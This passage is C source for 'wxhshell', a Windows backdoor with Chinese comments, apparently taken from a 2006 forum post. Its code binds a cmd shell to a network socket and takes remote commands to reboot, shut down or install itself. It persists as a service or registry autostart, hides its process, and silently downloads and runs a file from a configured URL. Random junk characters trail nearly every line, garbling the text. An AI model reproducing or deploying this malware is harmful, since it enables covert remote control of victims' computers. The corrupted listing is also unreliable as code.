  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W#wM PsB  
  }  A:!{+  
  else { vLke,MKW  
fU}w81oe  
    switch(cmd[0]) { kp$ILZ  
  #X8[g_d/  
  // 帮助 TXaXJIp  
  case '?': { 4|e#b(!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ov|j{}=L=9  
    break; ]@P*&FRcZ  
  } DEs?xl]zO  
  // 安装 /{U{smtdFl  
  case 'i': { `WB|h)Y  
    if(Install()) l>iU Q&V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  @bx2=  
    else <#Lw.;(U;k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h>/ViB@"W|  
    break; ?4Lo"igAA  
    } 1=X=jPwO C  
  // 卸载 6vA5L_  
  case 'r': { R3PhKdQ"  
    if(Uninstall()) +{I\r|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'KL(A-}!  
    else QD<4(@c5|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ayD\b6Z2.  
    break; [GuDMl3hC  
    } \f  LBw0  
  // 显示 wxhshell 所在路径 C;5}/J^E  
  case 'p': { qWFg~s#+  
    char svExeFile[MAX_PATH]; pUr[MnQLf  
    strcpy(svExeFile,"\n\r"); > 95Cs`>d  
      strcat(svExeFile,ExeFile); #J!? :(m:  
        send(wsh,svExeFile,strlen(svExeFile),0); O>GP>U?]  
    break; m&q;.|W  
    } hF~B&^dd.  
  // 重启 ]| y H8m  
  case 'b': { twtDyo(\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,fw[J  
    if(Boot(REBOOT)) J]0#M:w&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hvyN8We  
    else { 6&Dvp1`m  
    closesocket(wsh); z!+<m<  
    ExitThread(0); q T].,?  
    } `9+EhP$RS  
    break; 3EvA 5K.  
    } #+;=ijyF  
  // 关机 _D9=-^  
  case 'd': { Em,!=v(*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j r[~  
    if(Boot(SHUTDOWN)) .;2!c'mT9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IT(c'}  
    else { M\&~Dmd  
    closesocket(wsh); UjaC( c  
    ExitThread(0); }'W^Ki$  
    } | #Pc e  
    break; qM0MSwvC=  
    } + joE  
  // 获取shell ECScx02  
  case 's': { 1Q5<6*QL"  
    CmdShell(wsh); dx}/#jMa  
    closesocket(wsh); IJ8DN@w9  
    ExitThread(0); :RsPGj6   
    break; cPcV[6)5K9  
  } C=IH#E=  
  // 退出 S nHAY <  
  case 'x': { l5[xJH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ".%LBs~$  
    CloseIt(wsh); ;ZJ,l)BNO  
    break; x]oQl^ F  
    } Q*.FUV&;  
  // 离开 / aG>we  
  case 'q': { `5Btg. &  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (w eokP!  
    closesocket(wsh); F9\Ot^~  
    WSACleanup(); `4 bd,  
    exit(1); mM* yv  
    break; noA\5&hqW  
        } lM,zTNu-z  
  } /8}+# h)[  
  } Ye2];(M  
*BsDHq-F~  
  // 提示信息 `M ygDG+u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &8_;:  
} Db=>7@h3C  
  } S=,1} XZ  
J'yN' 0  
  return; 'w[d^L   
} O&w3@9KJ?  
{@5WeWlz~  
// shell模块句柄 cWO )QIE  
int CmdShell(SOCKET sock) AvE^ F1  
{ 8(5E<&JP  
STARTUPINFO si; `^L<db^A  
ZeroMemory(&si,sizeof(si)); xm|4\H&Bg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yH%+cmp7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lE)rRG+JLW  
PROCESS_INFORMATION ProcessInfo; ]HV~xD7\  
char cmdline[]="cmd"; Y@H,Lk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I`W-RWZ  
  return 0; g[au-.:  
} >J3ja>Gw/  
+){a[@S@x  
// 自身启动模式 8TZA T%4  
int StartFromService(void) _MbVF>JOx  
{ 1qj%a%R  
typedef struct >zg8xA1zL  
{ &]6K]sWJK{  
  DWORD ExitStatus; Kn#xY3W6  
  DWORD PebBaseAddress; CS5jJi"pD3  
  DWORD AffinityMask; &n]Z1e}5  
  DWORD BasePriority; rtL9c w5  
  ULONG UniqueProcessId; f=_?<I{  
  ULONG InheritedFromUniqueProcessId; udD* E~1q  
}   PROCESS_BASIC_INFORMATION; U.Chf9a -  
[gkRXP[DGs  
PROCNTQSIP NtQueryInformationProcess; ru/zLj:  
I^O:5x> [l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "1!.^<V*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RA/ =w&  
9`C iE  
  HANDLE             hProcess; $qtU  
  PROCESS_BASIC_INFORMATION pbi; /-{O\7-D  
N(-%"#M$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vQYfoam;  
  if(NULL == hInst ) return 0; _`@Xy!Ye  
+z(,A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m0A@jWgd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B#GZmv1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !qXq y}?w  
GQ-e$D@SfB  
  if (!NtQueryInformationProcess) return 0; 0|s$vqc  
udEb/7ZL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fm$n@R bX  
  if(!hProcess) return 0; L2>?m`wp  
VIz{}_~'s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =!S@tuY  
ADyNNMcx  
  CloseHandle(hProcess); W_BAb+$aF  
( #-=y~%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /[|}rqX(  
if(hProcess==NULL) return 0; GATP  
)| Vg/S  
HMODULE hMod; b*FU*)<4.  
char procName[255]; SEQO2`]e:  
unsigned long cbNeeded; bm tJU3Rm  
}U?gKlLg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p21=$?k!;  
krr-ZiK  
  CloseHandle(hProcess); mU?&\w=v$  
3\p]esse  
if(strstr(procName,"services")) return 1; // 以服务启动 p~, 3A:i  
 zfjDb  
  return 0; // 注册表启动 t)oES>W1  
} (ciGLfNG  
9Nag%o{*S>  
// 主模块 o^_W$4Fc  
int StartWxhshell(LPSTR lpCmdLine) L^5&GcHP0  
{ @}&,W N%  
  SOCKET wsl; uD ?I>7  
BOOL val=TRUE; p9&gEW  
  int port=0; 3)C6OF>7  
  struct sockaddr_in door; nz&b5Xb2  
dEQReD  
  if(wscfg.ws_autoins) Install(); 7dufY }}  
S& ,Ju%  
port=atoi(lpCmdLine); =p,4=wo{  
=0s`4Y"+  
if(port<=0) port=wscfg.ws_port; >uyeI&z  
c69U1  
  WSADATA data; s=q%:uCO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sxN>+v11z  
c ?p0#3%L#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1%SJ1oY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |~/3u/  
  door.sin_family = AF_INET; g/U$!d_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9{9#AI.G  
  door.sin_port = htons(port); }j5R@I6P  
/\,_P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Io,/ +#|  
closesocket(wsl); kH>vD = q>  
return 1; d6t)gG*5  
} H;TOPtt2  
33{;[/4  
  if(listen(wsl,2) == INVALID_SOCKET) { qXP1Q3  
closesocket(wsl); 7E!";HT  
return 1; [Q7->Wo|S:  
} ;Xfd1    
  Wxhshell(wsl); SmT+L,:D  
  WSACleanup(); <<7,k f R  
8`AcS|k  
return 0; E !Oz|q  
Z9J =vzsHE  
} ~zE 1'  
*c~'0|r  
// 以NT服务方式启动 KD,^*FkkL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AMh37Xo  
{ (opROsFh  
DWORD   status = 0; YZ"+c&V"  
  DWORD   specificError = 0xfffffff; 8CP9DS  
80FCe(U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]b0zkoD9<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zzw}sZ?8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5(iSOsb  
  serviceStatus.dwWin32ExitCode     = 0; IKMs Y5i  
  serviceStatus.dwServiceSpecificExitCode = 0; 36kc4=  
  serviceStatus.dwCheckPoint       = 0; QoW ( tM  
  serviceStatus.dwWaitHint       = 0; 6o[0sM_];  
xE G+%Uk{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zK ' _e&*  
  if (hServiceStatusHandle==0) return; 3i]"#wK  
dl*_ m3T  
status = GetLastError(); u|_LR5S!j  
  if (status!=NO_ERROR) kz7vbY  
{ 2cs?("8e%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vKU]80T  
    serviceStatus.dwCheckPoint       = 0; dp"<KcP_  
    serviceStatus.dwWaitHint       = 0; ]97Xu_  
    serviceStatus.dwWin32ExitCode     = status; .iOw0z  
    serviceStatus.dwServiceSpecificExitCode = specificError; LKK{j,g7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rt5oRf:wY  
    return; Kf:2%_DB  
  } RJtix uvh@  
8FO1`%8Oe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $Q`yNEc  
  serviceStatus.dwCheckPoint       = 0; -,K*~ z.l  
  serviceStatus.dwWaitHint       = 0; &#.x)>f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l1-4n*fU  
} -vv   
$:%*gY4~76  
// 处理NT服务事件,比如:启动、停止 5z9r S<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s0C?Bb}?  
{ '`M#UuU  
switch(fdwControl) -{yDk$"  
{ DHh+%|e  
case SERVICE_CONTROL_STOP: SBCL1aM  
  serviceStatus.dwWin32ExitCode = 0; 07$/]eO%C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g2[K<  
  serviceStatus.dwCheckPoint   = 0; L0X&03e=e:  
  serviceStatus.dwWaitHint     = 0; ]uBT &  
  { !pd7@FwC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x><zGXvvp|  
  } ;el]LnV!O  
  return; 5S&aI{;9<  
case SERVICE_CONTROL_PAUSE: q Axf5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L]c 8d   
  break; q6;OS.f  
case SERVICE_CONTROL_CONTINUE: KcIc'G 9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v;)BVv  
  break; <ldid]o #  
case SERVICE_CONTROL_INTERROGATE: c+szU}(f6(  
  break; .Lr`j8  
}; :@:g*w2K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QT`fix{  
} pu\b`3C(  
#D!$~ h&i  
// 标准应用程序主函数 20 jrv'f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S 3{Dn  
{ 7ZF}0K$^B  
O"@?U  
// 获取操作系统版本 c_~XL^B@  
OsIsNt=GetOsVer(); =ied}a :[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I?f"<5[0  
0^J*+  
  // 从命令行安装 )vO_sIbnW  
  if(strpbrk(lpCmdLine,"iI")) Install(); +V2C}NQ5R  
rDpe_varA  
  // 下载执行文件 f?2zLE>u  
if(wscfg.ws_downexe) { mcvDxjk,h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PfVEv *  
  WinExec(wscfg.ws_filenam,SW_HIDE); re7!p(W?,  
} b0r,h)R  
Ro$j1Aw(  
if(!OsIsNt) { |C~Sr#6)7  
// 如果时win9x,隐藏进程并且设置为注册表启动 /DLr(  
HideProc(); x2sN\tOh^  
StartWxhshell(lpCmdLine); z VnIr<!8_  
} S/a/1 n$ U  
else c}YJqhk0J  
  if(StartFromService()) 929#Q#TT  
  // 以服务方式启动 iYkRo>3!QX  
  StartServiceCtrlDispatcher(DispatchTable); "EJ\]S]$X  
else n(Qj||:  
  // 普通方式启动 5k K= S  
  StartWxhshell(lpCmdLine); 8&i;hZm  
gBMta+<fE~  
return 0; 7^c2e*S  
}
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只看该作者 1 发表于: 2006-10-10
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